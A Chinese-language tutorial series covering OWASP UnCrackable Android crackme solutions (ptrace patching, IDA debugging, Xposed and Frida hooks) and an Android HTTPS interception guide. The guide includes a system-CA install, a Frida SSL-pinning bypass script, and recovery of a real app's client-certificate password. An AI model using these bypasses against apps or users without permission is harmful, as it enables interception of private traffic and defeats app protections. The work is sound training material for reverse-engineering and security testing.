从OWASP CrackMe学Android逆向(二)

前言

OWASP CrackMe学Android逆向(一)感觉用题目来学习会比之前学得内容多很多, 然后这些题目有多种解法, 我也学到很多姿势, 下面就来分析UnCrackable-Level2。这个题目涉及.so动态调试的知识。

UnCrackable-Level2

同样的, 先将UnCrackable-Level2.apk放到JEB中分析, 一进到MainActivity, 就发现了一个神奇的东西, 这个应用加载了libfoo.so文件。

能感觉出来这个应用和之前level1不同的是, check输入的关键代码应该是在libfoo.so中, 所以不能使用Xposed去处理这个CrackMe了, 但是root和debug的检测还是Java层调用System.exit(0)退出。所以上次的cracker.js, 重载系统exit函数部分保留。

UnCrackable-Level2.apk解压之后在UnCrackable-Level2\lib\arm64-v8a目录下找到ibfoo.so, 把它拖到IDA里面分析一下。查看Export表导出的函数, 发现存在含有关键词CodeCheck的函数。

按下F5查看其反编译的代码, 发现存在可疑的数据xmmword_EA0

双击xmmword_EA0, 发现了一个传入v7的是一个大数, 使用Hex-View查看其Ascii码, 发现了一句不完整的话Thank for all t

CheckCode中还有v8参数, 虽然现在暂时不知道它有什么用, 还是先将它最后处理的过程写出来, 详情可以看注释, 最后我们知道v8的数据转换为ascii码之后为”eish”, 暂时不知道这个的用处, 所以先放着。根据下面的result获取, 我们也就知道了, 我们最终想要的字符串是存放在v6参数中的。

分析libfoo.so中的其他的函数, 发现应用限制了attach, 还是通过轮询的方法监视应用是否被调试。也就是说, 如果想使用IDA动态调试这个应用的话, 还需要我们绕过这种反调试的机制。

事先说明,上面静态分析的过程都是对lib\arm64-v8a文件夹下的libfoo.so文件进行分析的。在分析代码的过程中,存在一些函数调用的过程让我们看起来不是很舒服。实际上这些调用的函数都是JNI函数, 我们可以通过导入jni.h文件(File->Load File->Parse C header file…)——jni.h文件一般安装了Android Studio都有, 我的存放在Android Studio\jre\include目录下, 选中v4指针,选中后按一下”y”键,然后将类型声明为JNIEnv*即可。

修改之后效果如下:

那什么时候我们可以使用上面的方法还原函数名呢?在文章安卓动态调试七种武器之孔雀翎 – Ida Pro中有提及, 如果出现一个指针加上一个数字,比如v3+676。然后将这个地址作为一个方法指针进行方法调用,并且第一个参数就是指针自己,比如(v3+676)(v3…)。这实际上就是我们在JNI里经常用到的JNIEnv方法。

静态分析就分析到这里了。现在, 我们需要开始动手了。

静态分析代码

因为我手机arm版本为arm64-v8a(使用命令adb shell getprop ro.product.cpu.abi可查看arm版本), 所以前面的分析都是基于lib\armeabi-v7a\libfoo.so。当我将lib\armeabi-v7a\libfoo.so拖到32位的IDA中分析代码的时候找到含有CodeCheck的函数, 发现密钥以明文字符串的形式出现了。

这时候我们输入”Thanks for all the fish”, 发现我们成功找到密钥。

即便如此简单, 我们还是需要学习通过动态调试的方法获取密钥。以防遇到加了密或者其他更难分析的情况,我们无从下手。

IDA动态调试代码

绕过反调试机制

通过上面的分析(不包含静态分析arm64-v7a目录的libfoo.so文件的内容), 静态分析到现在也没找到完整的23个字母长度的密钥, 我们要通过IDA调试的方法获得密钥,。尝试动态调试.so文件的时候会发现应用会闪退, 所以我们需要来过反调试机制才能让应用正常运行并且获得密钥。那我们怎么做才能成功绕过反调试机制呢?

根据分析,我们要绕过的反调试机制分别处于Java层和Native层。

我们下面先修改应用的smali源码, 不然我们设置完AndroidManifest.xml文件debuggable="true"之后, 还要面对下面的弹窗。

还记得我们最开始分析的Java层的代码不, 现在我们来回忆一下。发现应用在root环境或可调试的环境下运行之后, 会调用MainActivity类中的a函数。双击该函数, 分析代码逻辑。

发现这个函数会在我们做了点击OK的操作之后调用系统的exit函数退出。

反编译apk之后, 定位到刚刚的a函数。发现函数最后返回为return-void, 那我们直接把中间的代码删除就ok。接下来就是常规的反编译+重签名的操作, 这里就不赘述了。安装修改之后的应用, Java层的反调试就绕过了。

下面讲一下稍有难度的绕过Native层的代码, 用IDA反编译libfoo.so。从IDA左侧的Function窗口双击Java_sg_vantagepoint_uncrackable2_MainActivity_init, 发现会调用sub_918方法。双击sub_918函数分析代码。

通过代码我们可以知道, sub_918是起反调试作用的关键函数。接下来我们分析一下这个函数是如何实现反调试的,该函数会先fork自身, 产生一个子进程, 父进程在运行的过程中使用了轮询机制, 通过ptrace函数监视自身是否处于被调试的状态。子进程和fock失败的父进程, 会调用waitpid一般情况下, ptrace这种类型的函数是不会被混淆的, 所以我们直接将调用ptrace函数的部分nop掉就好了。

使用IDA View-A打开sub_918函数, 可以看到有两个BL .ptrace。选中其中的一个.ptrace, 然后打开Hex View-1页面。

按下快捷键F2, 输入1F 20 03 D5(NOP), 将原本的9C FF FF 97替换掉, patch结束之后按F2完成修改(两个BL .ptrace都用这种方法修改)。发现网上有部分文章使用指令00 00 00 0000 00 A0 E1(mov r0,r0)修改, 我按照那种方式修改之后, 发现代码结构被破坏掉了, 应用不能正常运行, 最后直接使用NOP指令才能让应用正常运行, 并绕过反调试的检测。

最后按下图选中下图Apply patches to input file...., 就可以保存我们修改之后的结果。我们只需要patch我们设备使用到的libfoo.so文件, 比如我设备的arm版本是arm64-v8a

这里只针对这个应用的反调试作了介绍, 如果想了解更多反调试和绕过反调试的内容, 可以看看文章【SO壳】17种安卓native反调试收集

IDA动态调试Native代码

在正式开始之前, 我们需要做点准备工作。 首先打开目录<你IDA安装的目录下>\IDA\dbgsrv, 将该目录下的android_serverpush进手机里面并添加权限。

$ adb push android_server64 #要按照你自己的使用的设备的内核进行选择, 查看arm版本就知道
$ adb forward tcp:23946 tcp:23946 # 设置本地端口转发
$ adb shell
$ su
$ cd /data/local/tmp
$ chmod +x android_server64
$ ./android_server

经过测试,发现应用不能进行调试。我们先解决AndroidManifest.xml上的反调试,有4种方法:

  • 反编译APK, 修改AndroidManifest.xml, 使debuggable="true"
  • 从手机内核中提取出boot.img并修改, 使ro.debuggable=1, 或者可以使用mprop, 但是有版本限制。
  • 在装有Xposed的手机上安装BDOpener, 重启激活该模块即可。
  • 设置全局变量, 使ro.debuggable=1(每次开机重启后失效)

    使用上面的方法让应用处于可调试的状态, 用DDMS打开, 效果如下:

先输入命令adb shell dumpsys activity top | findstr ACTIVITY, 通过输出可知应用的包名及当前的Activity, 输入命令adb shell am start -D -n owasp.mstg.uncrackable2/sg.vantagepoint.uncrackable2.MainActivity可让Uncrackable2这个应用处于被调试状态。这时候查看DDMS, 我们可以看到应用的状态改变了。

接下来要用IDA对.so文件进行动态调试, 打开64位的IDA,打开debug选项Debugger->attach->Remoute Android debugger

这时候会出现一个弹窗, 点击Debug option, 勾选上框出来的3项。点击OK之后, 在hostname里面填写127.0.0.1即可。

之后会出现手机加载的进程, 我们只需要选中我们想调试的uncrackable2, 就可以进入IDA的调试界面。

之后使用jdb使应用继续运行, 因为上面的DDMS几次重新打开, 所以端口映射部分会不一致。我们在使用jdb调试的时候, 最好还是先打开DDMS, 查看应用真正映射的端口, 否则会出现无法附加到目标 VM的错误, 按照下面的显示结果, 我们需要输入命令jdb -connect com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8605(8700端口被DDMS进程占用, 改为8605端口, 不开DDMS就不用改)。

双开IDA计算进程动态运行时我们想要定位的函数的地址, 在动态调试的IDA按下F9快捷键让程序正常运行, 这时候我们就能在IDA右侧Module板块搜索到libfoo.so动态加载的地址0x0000007B11291000, 之后我们从分析静态libfoo.so的IDA中获取函数CodeCheck函数的偏移量为0xDAC, 所以最后我们能够计算出我们要跳转到0x0000007B11291DAC

按下快捷键G, 跳转到我们计算的CodeCheck函数开始的地址(0x0000007B11291DAC), 发现代码不能解析出来, 选中部分代码, 用快捷键C解析代码(一次不行就先按C再按下Force)。然后在地址0x0000007B11291DAC下断点, 在手机应用界面上输入随便输入长度为23的字符串之后点击Verify, 就可以运行到如下位置。

在动态调试汇编代码的过程中, 会发现我们很难根据变量名获取其中的值, 只能在调试的过程中看到寄存器中存储的内容, 将静态调试的IDA中的汇编代码和动态调试过程中的IDA的代码进行比对, 我们可以找出一些函数, 比如这里的strncmp的函数的位置, 也可以通过静态分析的IDA找到strncmp函数的位置(0x0000007B11291000+0xE5C=0x0000007B11291E5C), 选中unk_7B11281820, 使用快捷键N可将地址名重命名为.strncmp

IDA右侧有General Registers窗口, 但是这个窗口只会出现地址, 而我们需要获取寄存器中的值, View->Open subviews->Hex dump可以查看内存中的数值。

F8单步调试到BL .strncmp处, 这时候我们就能看到传递的参数寄存器X1和X0存放的地址。鼠标移至X0存放的地址, 右键选中Select All, 复制地址。

转到Hex View-3的窗口, 按下快捷键G, 跳转到刚刚我们复制的地址处。可以看到我们刚刚在应用中输入的数值, 想要获取X1的值可以用一样的方法, 最终我们得到要输入的密码为Thanks for all the fish

IDA动态调试的过程就到这里结束了, 下面还有一种不patch apk的方法可以实现绕过反调试和各种检测的方法, 使用到了Radare2, 感觉重要的是学习思路而不是工具如何使用这句话, 还是很有道理的。

结语

实际上最近有很多事情要做, 配置Radare2及其插件上, 我花了很多时间, 现在还有一个小插件没安装好。为了推着自己完成这篇系列文章, 就把UnCrackable2完成的部分先发出来。希望我能尽快完成环境的配置还有之后的文章吧…..

从OWASP CrackMe学Android逆向(一)

准备环境、工具

Pixel(Magisk+Xposed/EdXposed)
这里要安利一下Magisk,它现在有个超强的Magisk Hide功能,能隐藏root状态,不过我还没研究过它的原理,如果后面有机会的话会稍微整理一下的。

UnCrackable-Level1

进入到存有UnCrackable的文件目录下,adb install UnCrackable-Level1.apk把APK安装到手机上。打开应用之后,发现应用存在root检测,一旦发现了root状态,点击OK之后应用就会被kill。

可以反编译apk之后patch root检测部分的内容,重打包之后安装到手机里面绕过root检测,也可以用Magisk自带的Magisk Hide绕过。Magisk Hide设置方法如下:


当然第二张图里会不一样,我们需要选中UnCrackable-Level1.apk。

随便输个内容,按下VERIFY,发现出现了个弹窗,要我们再试一下。OK,可以看出我们应该从反编译apk开始入手,找找它这个验证的代码逻辑,看看能不能找到正确的字符串,或者看看有没有方法绕过这样的条件判断。

如果代码量过大的话,我们可以通过adb shell dumpsys activity top | findstr ACTIVITY定位要找的界面的代码。像下面这样,就能定位到界面

不过用JEB看一下,发现这个代码量真的不是很大….用JEB打开MainActivity之后看到一个verify的函数没有经过混淆,看代码逻辑,判断的条件由a.a()函数传递,返回的是一个boolean类型的值。如果Level1真要让我们弹出Success的话,就没什么意思了,那就跟进a.a()函数里面看看。

发现a.a()中调用了加密的算法,之后将用户输入的值也就是arg5与加密后的结果进行比对,若比对成功的话,就说明我们输入的是正确的。明显这个crackme的意图不是要我们patch源代码然后得到弹窗Success, 而是获得flag, 也就是密文5UJiFctbmgbDoLXmpL12mkno8HT4Lv8dlat8FxR2GOc=解密后的结果。

CTF解题法

可以使用动态和静态两种方法获得明文, 静态的方法参照文章OWASP Android Crackme Level 1, 文章的作者使用了openssl和硬编码在源码中的密钥8d127684cbc37c17616d806cf50473cc解密5UJiFctbmgbDoLXmpL12mkno8HT4Lv8dlat8FxR2GOc=


通过代码我们可以知道AES算法使用了ECB加密模式, 且在CTF中AES-128加密算法的密钥一般为32位, 输入命令echo 5UJiFctbmgbDoLXmpL12mkno8HT4Lv8dlat8FxR2GOc= | openssl enc -aes-128-ecb -base64 -d -nopad -K 8d127684cbc37c17616d806cf50473cc可获取flagI want to believe

Xposed解法

感觉上面的方法太巧妙了, 下面会补充一个没那么巧妙且常用的方法——Xposed hook, 我一开始找到函数a.a(), 但是因为参数类型填写不正确的原因, 加上该函数实际上返回的是byte []类型的数据, 所以不能得到正确的flag, Xposed模块param.getResult()的返回值又是String类型的数据,所以在这里我们需要处理数据转换的问题。具体的Xposed模块代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.example.unlock;

import android.util.Log;
import de.robv.android.xposed.IXposedHookLoadPackage;
import de.robv.android.xposed.XC_MethodHook;
import de.robv.android.xposed.XC_MethodReplacement;
import de.robv.android.xposed.XposedBridge;
import de.robv.android.xposed.XposedHelpers;
import de.robv.android.xposed.callbacks.XC_LoadPackage;
import static de.robv.android.xposed.XposedHelpers.findAndHookMethod;
public class HookMain implements IXposedHookLoadPackage {
public void handleLoadPackage(XC_LoadPackage.LoadPackageParam lpparam) throws Throwable {
if(!lpparam.packageName.equals("owasp.mstg.uncrackable1")) //过滤包名
return;
XposedBridge.log("Loaded app: " + lpparam.packageName); //Hook a方法
try {
XposedHelpers.findAndHookMethod("sg.vantagepoint.a.a", lpparam.classLoader, "a", byte [].class, byte [].class, new XC_MethodHook() {
@Override
protected void beforeHookedMethod(XC_MethodHook.MethodHookParam param) throws Throwable {
}
protected void afterHookedMethod(XC_MethodHook.MethodHookParam param) throws Throwable {
// 转换数据类型
String flag = new String((byte []) param.getResult());
// 在这里使用Log.i()可能会输出失败, 最好还是用XposedBridge.log
XposedBridge.log("SECRET: " + flag);
}
});
} catch (Throwable e){
XposedBridge.log("hook failed");
XposedBridge.log(e);
}
}
}

安装Xposed模块并重启之后,随便输入之后提交,得到flagI want to believe

Frida解题法

还可以按照wp Level1 Writeup使用Frida hook代码获取flag。

Frida使用的过程中不能和Magisk Hide一起使用, 不然会出现Failed to spawn: unable to access zygote64 while preparing for app launch; try disabling Magisk Hide in case it is active的报错。所以我们需要先关掉Magisk Hide(Magisk Manager > Settings >Magisk > Magisk Hide (关掉)), 并且还要在Frida脚本里面绕过root的检测。

因为之前没有接触过Frida, 也算是用这个实例来学习Frida的使用, 如果跟我一样不是很熟悉Frida, 可以配合Frida的官方文档一起食用, 文档中有Frida的js API使用说明, 下面的代码主要涉及的是调用Java函数的部分。作者在这里写的绕过root和debug的思路我觉得值得学习和思考, 有种听君一席话, 胜读十年书的感觉。当然, 这样讲还是有点夸张的, 不过真的很值得学习。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
Java.perform(function () {
send("Starting hooks OWASP uncrackable1...");
/*
hook java.lang.System.exit, 使该函数只用来输出下面的字符串
避免了应用的检测机制导致应用退出, 使用该方法绕过Java层的root/debug检测
*/
var sysexit = Java.use("java.lang.System");
sysexit.exit.overload("int").implementation = function(var_0) {
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
};

var aes_decrypt = Java.use("sg.vantagepoint.a.a");
aes_decrypt.a.overload("[B","[B").implementation = function(var_0,var_1) {
send("sg.vantagepoint.a.a.a([B[B)[B doFinal(enc) // AES/ECB/PKCS7Padding");
send("Key : " + var_0);
send("Encrypted : " + var_1);
/*
重载解密函数, 并获取其返回值, 因其类型为byte [],
js在调用Java方法之后只能返回一个对象, 而不是返回一个byte类型的数组
*/
var ret = this.a.overload("[B","[B").call(this,var_0,var_1);
send("Decrypted : " + ret);

var flag = "";
//将char类型转换为String类型
for (var i=0; i < ret.length; i++){
flag += String.fromCharCode(ret[i]);
}
send("Decrypted flag: " + flag);
return ret; //[B
};


var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
mainactivity.onStart.overload().implementation = function() {
send("MainActivity.onStart() HIT!!!");
var ret = this.onStart.overload().call(this);
};
//var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
mainactivity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
send("MainActivity.onCreate() HIT!!!");
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
};


var activity = Java.use("android.app.Activity");
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
send("Activity HIT!!!");
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
};

send("Hooks installed.");
});

这里小小啰嗦一下Frida的使用方法, 安装的话直接pip install frida-tools, 还有下载适合自己设备的frida-server的版本, push进设备, 加上权限就行。下面是对frida-server进行的操作的操作:

1
2
3
4
$ adb shell
$ su
# cd /data/local/tmp # 进入frida-server的目录下
# ./frida-server &

之后重新开一个cmd窗口, 进入.js脚本, 也就是hook的脚本所在的目录下执行frida -U owasp.mstg.uncrackable1 -l cracker.js(我的hook文件名为cracker.js), 就能获取flag:

结语

其实在使用Frida绕过应用检测的时候我想到一个问题, 我认为重载java.lang.System.exit的方法只能绕过Java层调用的exit函数, 而不能绕过native层的函数。Java层,测试后已知hookjava.lang.System.exit是不能阻止应用被系统层强制退出的。而native层的, 还没遇到一个这样的demo可以用来测试, 但是我猜测native层的还是需要hook native层的exit函数。如果跳出了这两个层级, 直接对系统层的exit进行注入, 会导致系统崩溃吗?如我的思考或文章出现了错误,希望各位大佬不吝赐教。

最后,附上CrackMe的下载链接

Android抓包总结

前言

这篇文章算是总结一下我之前抓包遇到的一些问题, 个人属性里带bug, 所以遇到的问题会比较多, 算是给大家提供一个抓包抓不到应该如何解决的思路。

工具介绍

Android中可用的抓包软件有fiddler、burpsuite、Charls、HttpCanary、Packet Capture、tcpdump、wireshark等等。tcpdump和wireshark可以解决部分不是使用HTTP/HTTPS协议传输数据的app, 用tcpdump抓包, 用wireshark分析数据包。

如果想抓取三大运营商传输的数据包并分析, 因其路由规则的限制, 可能还是需要在android系统中利用iptables设置反向代理, 用Fiddler解密数据包之后分析, 不过好像Fiddler好像有自己的反向代理设置方法, 这部分了解不多。

Charls是Mac上常见的抓包工具, 我没用过, 不过网上蛮多教程的。HttpCanary和Packet Capture这两个工具与常规的电脑上的代理抓包不同的是, 能保证一定能抓取到数据包, 我一般都用Packet Capture来验证应用是否发送请求。HttpCanary被称为移动端的Fiddler, 能够改包和劫持双向认证的应用传输的数据包, 感觉还是蛮强大的。

Fiddler抓取Android数据包

基础设置

  1. 下载好Fiddler之后, 打开该软件, 生成证书。

设置连接

设置HTTPS

用ipconfig查看当前主机的ip

手机和电脑在同一局域网中即可, 手机端设置WLAN种给网络设置代理, 选择对应的WLAN, 选中修改网络, 手动设置代理, 主机名填上面电脑ip地址, 端口写fiddler默认端口8888。

手机端用浏览器访问http://电脑IP:8888, 观察网络是否访问成功, 成功之后, 点击”FiddlerRoot.certificate”下载Fiddler的证书并安装。

如果上述步骤都原原本本做完了, 还是不能出现上图的效果, 可以换个路由或者直接手机开热点。我当时遇到不能访问的问题, ping了一下, 一直显示destination unreachable, 应该是路由器安全规则的限制, 换成了手机开热点就ok了。

继续进行测试的时候, 发现不管是修改密码还是用验证码进行登录, 我都抓不到那些包。想不出是哪里出了问题…..大概找了一下, 发现是SSL Pinning的机制阻止了我抓包。使用了Xposed+JustTrustMe, 就抓取到数据包了, 数据包如下:

如果知道Fiddler怎么抓包了, 不知道怎么改包, 可以用Fiddler左下角的黑框框中断请求, 修改之后再发出, 比如输入bpu baidu.com就可以中断所有发向baidu.com的请求。

之后查看中断的数据包会出现如下效果, 修改完点击Run to Completion就可以把请求发出去了。

Fiddler设置之后手机无法连接上代理

  1. 关闭电脑防火墙

  2. 打开注册表(cmd-regedit), 在HKEY_CURRENT_USER\Software\Microsoft\Fiddler2下创建一个DWORD, 值置为80(十进制)[在空白处右键即可创建]。

  1. 编写fiddlerScript rule:在Fiddler上点击Rules->Customize Rules, 用Ctrl+F查找OnBeforeRequest方法添加一行代码。
1
2
3
4
5

if (oSession.host.toLowerCase() == "webserver:8888") 
{
        oSession.host = "webserver:80"; 
}

Burpsuite抓取Android数据包

基础设置

Burpsuite改包的步骤就不在这里赘述了, 网上有很多教程, 接下来我们要设置burpsuite, 以求抓取到数据包, 设置如下:

提示, 监听的端口号、电脑内网ip要和手机上的代理设置一致, 电脑内网ip可以用ipconfig查看。用burpsuite一直抓取不到https的证书, 怀疑是我burpsuite证书没有安装到手机上, 所以我现在先将它装到系统证书中, 再看看能不能先抓取到https的证书。

安装证书至系统中

1、下载.der格式的证书, 将下载的cacert.der转换格式, 并获取证书hash值, 生成<证书hash>.0文件, 例如:7bf17d07.0

2、把<证书hash>.0证书push到/data/local/tmp目录下后移动至/system/etc/security/cacerts/
(mv操作出错之后, 先试一下“mount -o rw,remount /system”如果出现了报错“mount: ‘/system’ not in /proc/mounts”, 再尝试“mount -o rw,remount /”, 就可以操作system目录了)

3、重启手机

只有root环境才能将proxy证书安装至android系统证书中, 这种方法好像能绕过应用本地证书校验, 其实burp和Fiddler还有其他的代理证书的安装方法都差不多, 最后将<hash证书>.0的文件mv至/system/etc/security/cacerts/目录下即可, 不建议直接将用户证书直接mv, 可能会导致环境出错也不好排查证书错误, 甚至可能导致android网络环境出错。

下面是具体步骤, 先在设置本地代理, 将burpsuite证书下载下来

打开浏览器输入本地地址, 下载.der格式的证书

此处参照文章BrupSuit证书导入Android7.0以上手机, 因为我windows本地安装了ubuntu的子系统, 所以直接用ubuntu1604子系统对证书进行操作。

1
2
3
4
// 转换证书的格式
$ openssl x509 -in cacert.der -inform DER -out cacert.pem -outform PEM
// 提取证书的hash
$ openssl x509 -inform PEM -subject_hash -in cacert.pem

上图中的7bf17d07就为证书的hash值, 将该目录下生成的7bf17d07.0文件push到手机中, 最后移动到/system/etc/security/cacerts/目录下

1
2
3
4
5
$ adb push 7bf17d07.0 /data/local/tmp
$ adb shell
sailfish:/ $ su
sailfish:/ # mount -o rw,remount / # 拥有操作/目录的权限, 本意是要操作/system目录
sailfish:/ # mv /data/local/tmp/7bf17d07.0 /system/etc/security/cacerts/7bf17d07.0

按照原本的文章应该给7bf17d07.0文件添加644权限, 但是我具体操作的时候没有添加权限也成功了, 如果按照我上面的步骤出错了, 可以尝试给文件添加权限。重启之后可以看到证书安装成功。

第一次安装证书的时候出现了不能访问使用https协议的网站, 应该是我测试的手机环境出现了问题, 我重新刷机再按照上面的步骤走一遍就成功了, 如果你们也遇到访问https网站失败的问题, 可以尝试一下使用这个方法。

Android抓包介绍

抓包最重要的是看能不能抓取到数据包, 想要抓到包就要看app使用什么传输协议了, 一般情况下使用HTTP都是能抓到包的, 这也就不难理解, 为什么google坚持推广HTTPS了。为什么说使用HTTPS会抓不到包?现在的HTTPS都是基于TLS协议的, 它的特点就是需要确认传输双方的身份。确认了身份之后再传输数据, 这样就能避免中间人攻击了。下面来看看HTTPS, 是怎么进行数据传输的, 发现HTTPS需要先建立连接才能传输数据。

讲到要认证对方的身份, 我就想起了之前翻译的一篇HTTP安全), 里面就有提及到在使用HTTPS协议的过程中, 客户端和服务器通过证书来判断对方的身份。之前没有怎么理解, 现在才对证书的作用有比较深刻的理解。

文章中举了个例子, Chrome浏览器通过判断是否有证书来判断你访问的网站是否安全的, 并不是你访问的网站真的是安全的。提及这个是因为app使用HTTPS传输也是看证书的, 只不过有的app限制的比较严格只信任自带的证书, 有的app安全要求没那么高, 直接信任系统证书。

抓包出错排查思路

上面是大概的排查思路, 具体的细节可能有些差异。如果proxy带有证书校验, 且JustTrustMe绕不过去, 可能要自己重新根据该应用定制hook模块, 去绕过其本地证书校验, 但是大部分应用都能通过将证书安装为系统证书绕过, 如果无法在root环境下运行, 文章《Intercepting traffic from Android Flutter applications》和JustTrustMe的源码应该能给你提供一点hook模块绕过证书校验的思路, 《Intercepting traffic from Android Flutter applications》讲的是如何绕过google开源框架Flutter中的证书校验进行抓包。

最后说抓不到包还有一种可能性, 就是要求一定要用SIM卡发出传输请求的数据包….不过这个应该应该只有使用了三大运营商的SDK或他们的应用才会出现这种情况, 这部分应该只能用反向代理才有可能抓取到传输的数据包了, 具体情况就要具体分析了。

当时尝试tcpdump+wireshark效果不怎么样, 因为所有的数据都经过了加密, 而wireshark不能解密, 所以对于加密传输的数据包这种方法可能有点鸡肋, 听说有mitmdump抓包工具专门处理linux环境下http/https的数据包, 不过我自己没用过, 之后要是接触了会进一步补充。

SSL pinning和双向认证的区别

SSL pinning实际上是客户端锁定服务器端的证书, 在要与服务器进行交互的时候, 服务器端会将CA证书发送给客户端, 客户端会调用函数对服务器端的证书进行校验, 与本地的服务器端证书(存放在\<app>\asset目录或\res\raw下)进行比对。

而双向认证是添加了客户端向服务器发送CA证书, 服务器端对客户端的证书进行校验的部分, 具体详情可看文章扯一扯HTTPS单向认证、双向认证、抓包原理、反抓包策略的单向认证、双向认证部分的内容。

抓取HTTPS的数据包

Frida绕过SSL单向校验

昨天刚好遇到JustTrustMe无法绕过SSL单向校验的情况, 这几天接触了Frida, 就尝试用DBI的方法绕过SSL的单向校验, 参考文章Universal Android SSL Pinning bypass with Frida这里就不详细地说明Frida的安装方法及使用方法了。

设置Fiddler代理, 在本地下载Fiddler的证书, 将证书直接重命名为cert-der.crt。之后将证书push到/data/local/tmp目录下, 在adb shell里输入./frida-server &再在PC端进行操作。

新建一个frida-android-repinning.js文件, 详细代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
setTimeout(function(){
Java.perform(function (){
console.log("");
console.log("[.] Cert Pinning Bypass/Re-Pinning");

var CertificateFactory = Java.use("java.security.cert.CertificateFactory");
var FileInputStream = Java.use("java.io.FileInputStream");
var BufferedInputStream = Java.use("java.io.BufferedInputStream");
var X509Certificate = Java.use("java.security.cert.X509Certificate");
var KeyStore = Java.use("java.security.KeyStore");
var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");
var SSLContext = Java.use("javax.net.ssl.SSLContext");

// Load CAs from an InputStream
console.log("[+] Loading our CA...")
var cf = CertificateFactory.getInstance("X.509");

try {
var fileInputStream = FileInputStream.$new("/data/local/tmp/cert-der.crt");
}
catch(err) {
console.log("[o] " + err);
}

var bufferedInputStream = BufferedInputStream.$new(fileInputStream);
var ca = cf.generateCertificate(bufferedInputStream);
bufferedInputStream.close();

var certInfo = Java.cast(ca, X509Certificate);
console.log("[o] Our CA Info: " + certInfo.getSubjectDN());

// Create a KeyStore containing our trusted CAs
console.log("[+] Creating a KeyStore for our CA...");
var keyStoreType = KeyStore.getDefaultType();
var keyStore = KeyStore.getInstance(keyStoreType);
keyStore.load(null, null);
keyStore.setCertificateEntry("ca", ca);

// Create a TrustManager that trusts the CAs in our KeyStore
console.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");
var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
tmf.init(keyStore);
console.log("[+] Our TrustManager is ready...");

console.log("[+] Hijacking SSLContext methods now...")
console.log("[-] Waiting for the app to invoke SSLContext.init()...")

SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(a,b,c) {
console.log("[o] App invoked javax.net.ssl.SSLContext.init...");
SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c);
console.log("[+] SSLContext initialized with our custom TrustManager!");
}
});
},0);

在cmd, 输入如下命令:

1
2
$ adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt
$ frida -U -f it.app.mobile -l frida-android-repinning.js --no-pause

在关闭应用的情况下(避免Magisk Hide处于开启状态), 可得到回显并绕过SSL pinning。

绕过SSL双向校验

其实SSL双向校验是在SSL单向校验的基础上, 在说明这部分内容的时候同时也会有绕过SSL单向校验详细的步骤。参考文章Android平台HTTPS抓包解决方案及问题分析, 我们可以先用sxxl.app来练练手。

在手机上设置完代理之后, 点击完确认, 发现app出现如下弹窗:

在这个时候查看Fiddler会发现应用没有发出任何请求, 这是因为app会对服务器端的证书进行校验, 这时候我们前面安装的Fiddler证书就不起作用了, 应用在发现证书是伪造的情况下拒绝发送请求。根据这个报错+抓不到包, 我们可以确定应用是存在单向校验的, 也就是SSL pinning, 让我们先来解决SSL pinning的问题。使用JustTrustMe可以绕过客户端的证书校验, 下面勾选上JustTrustMe, 在Xposed框架下使用JustTrustMe绕过SSL pinning。

绕过SSL pinning之后, 就能使用Fiddler抓取到HTTPS的数据包了。

我随便输入了一个手机号码, 按下确定之后, 服务器回传了400的状态码过来, 说需要发送证书以确认客户端的身份。到这一步基本能确定是存在双向校验的了, 接下来的工作就是绕过SSL服务器端的校验了。

如果服务器端会对客户端证书进行校验, 证书应该就直接存放在apk里, 网上与SSL双向校验相关的文章都将证书放到<app>/asset目录下, 也就是app的资源目录下, 也有可能放在/res/raw目录下。直接将app解压之后, 发现证书的位置如下:

如果找半天没找到就用关键词.p12/.pfx搜索证书文件。

在我们要使用该证书的时候, 需要输入安装证书的密码。这时候就需要从源码中获取安装证书的密码了。可能是因为多个dex文件的原因, 直接用JEB反编译的时候出错了, 所以我用GDA反编译来分析应用的源代码

获取安装证书的密码

发现通过关键词”PKCS12”能够定位到加载证书的位置。

上图第二个红框中的load函数的第二个参数其实就是证书的密钥, 追根溯源, 我们可以知道v1参数是下图中调用的函数的返回值。

上图的函数的功能就是传递p0参数, 也就是说p0参数就是证书安装密码。想获取这个密码, 关键在于Auto_getValue函数。到这一步, 只要跟进Null_getStorePassword函数看看就好了。

跟进去发现调用了native层的函数, 查看init函数中具体加载的是哪个so文件:

用IDA反编译soul-netsdk之后, 搜索字符串”getStorePassword”, 就定位到函数getStorePassword上了, F5之后, 获得伪代码和密钥:

代理添加客户端证书

HttpCanary添加客户端证书进行抓包的过程可以参照文章Android平台HTTPS抓包解决方案及问题分析, 在自己头昏的时候也感谢这篇文章的作者MegatronKing点醒我。下面主要讲解Fiddler和burpsuite添加客户端证书的方法。

fiddler操作过程

尝试一下用Fiddler处理这部分的内容来安装客户端的证书, 用来绕过双向认证。

用Fiddler抓取该应用的数据包的时候, 发现Fiddler出现了上面的弹窗, 提示要添加ClientCertificate.cer, 才能抓取到传输的数据包, 不然只会出现400的状态码。而我们文件目录下只能找到client.p12client.crt两种格式的证书文件, 所以我们需要将已有的client证书转换成.cer格式的证书。

